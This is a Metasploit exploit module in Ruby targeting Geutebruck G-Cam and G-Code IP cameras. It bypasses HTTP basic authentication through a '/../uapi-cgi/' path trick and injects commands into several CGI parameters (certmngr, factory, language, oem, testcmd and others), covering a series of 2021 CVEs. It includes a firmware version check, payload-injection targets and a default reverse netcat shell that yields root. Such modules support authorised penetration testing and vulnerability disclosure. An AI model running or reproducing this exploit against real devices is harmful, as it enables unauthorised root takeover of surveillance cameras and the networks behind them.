## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Geutebruck Multiple Remote Command Execution', 'Description' => %q{ This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder and exploits multiple authenticated arbitrary command execution vulnerabilities within the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user. }, 'Author' => [ 'Titouan Lazard', # Of RandoriSec - Discovery 'Ibrahim Ayadhi', # Of RandoriSec - Discovery and Metasploit Module 'Sébastien Charbonnier' # Of RandoriSec - Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2021-33543'], ['CVE', '2021-33544'], ['CVE', '2021-33548'], ['CVE', '2021-33550'], ['CVE', '2021-33551'], ['CVE', '2021-33552'], ['CVE', '2021-33553'], ['CVE', '2021-33554'], [ 'URL', 'http://geutebruck.com' ], [ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'], [ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03'] ], 'DisclosureDate' => '2021-07-08', 'Privileged' => true, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'CVE-2021-33544 - certmngr.cgi', { 'http_method' => 'GET', 'http_vars' => { 'action' => 'createselfcert', 'local' => Rex::Text.rand_text_alphanumeric(10..16), 'country' => Rex::Text.rand_text_alphanumeric(2), 'state' => '$(PLACEHOLDER_CMD)', 'organization' => Rex::Text.rand_text_alphanumeric(10..16), 'organizationunit' => Rex::Text.rand_text_alphanumeric(10..16), 'commonname' => Rex::Text.rand_text_alphanumeric(10..16), 'days' => Rex::Text.rand_text_numeric(2..4), 'type' => Rex::Text.rand_text_numeric(2..4) }, 'uri' => '/../uapi-cgi/certmngr.cgi' } ], [ 'CVE-2021-33548 - factory.cgi', { 'http_method' => 'GET', 'http_vars' => { 'preserve' => '$(PLACEHOLDER_CMD)' }, 'uri' => '/../uapi-cgi/factory.cgi' } ], [ 'CVE-2021-33550 - language.cgi', { 'http_method' => 'GET', 'http_vars' => { 'date' => '$(PLACEHOLDER_CMD)' }, 'uri' => '/../uapi-cgi/language.cgi' } ], [ 'CVE-2021-33551 - oem.cgi', { 'http_method' => 'GET', 'http_vars' => { 'action' => 'set', 'enable' => 'yes', 'environment.lang' => '$(PLACEHOLDER_CMD)' }, 'uri' => '/../uapi-cgi/oem.cgi' } ], [ 'CVE-2021-33552 - simple_reclistjs.cgi', { 'http_method' => 'GET', 'http_vars' => { 'action' => 'get', 'timekey' => Rex::Text.rand_text_numeric(2..4), 'date' => '$(PLACEHOLDER_CMD)' }, 'uri' => '/../uapi-cgi/simple_reclistjs.cgi' } ], [ 'CVE-2021-33553 - testcmd.cgi', { 'http_method' => 'GET', 'http_vars' => { 'command' => 'PLACEHOLDER_CMD' }, 'uri' => '/../uapi-cgi/testcmd.cgi' } ], [ 'CVE-2021-33554 - tmpapp.cgi', { 'http_method' => 'GET', 'http_vars' => { 'appfile.filename' => '$(PLACEHOLDER_CMD)' }, 'uri' => '/../uapi-cgi/tmpapp.cgi' } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' }, 'Notes' => { 'Stability' => ['CRASH_SAFE'], 'Reliability' => ['REPEATABLE_SESSION'], 'SideEffects' => ['ARTIFACTS_ON_DISK'] } ) ) end def firmware res = send_request_cgi( 'method' => 'GET', 'uri' => '/brand.xml' ) unless res print_error('Connection failed!') return false end unless res&.body && !res.body.empty? print_error('Empty body in the response!') return false end res_xml = res.get_xml_document if res_xml.at('//firmware').nil? print_error('Target did not respond with a XML document containing the "firmware" element!') return false end raw_text = res_xml.at('//firmware').text if raw_text && raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/) raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)[0] else print_error('Target responded with a XML document containing the "firmware" element but its not a valid version string!') false end end def check version = firmware if version == false return CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!') end rex_version = Rex::Version.new(version) vprint_status("Found Geutebruck version #{rex_version}") if rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5') return CheckCode::Appears end CheckCode::Safe end def exploit print_status("#{rhost}:#{rport} - Setting up request...") method = target['http_method'] if method == 'GET' http_method_vars = 'vars_get' else http_method_vars = 'vars_post' end http_vars = target['http_vars'] http_vars.each do |(k, v)| if v.include? 'PLACEHOLDER_CMD' http_vars[k]['PLACEHOLDER_CMD'] = payload.encoded end end print_status("Sending CMD injection request to #{rhost}:#{rport}") send_request_cgi( { 'method' => method, 'uri' => target['uri'], http_method_vars => http_vars } ) print_status('Exploit complete, you should get a shell as the root user!') end end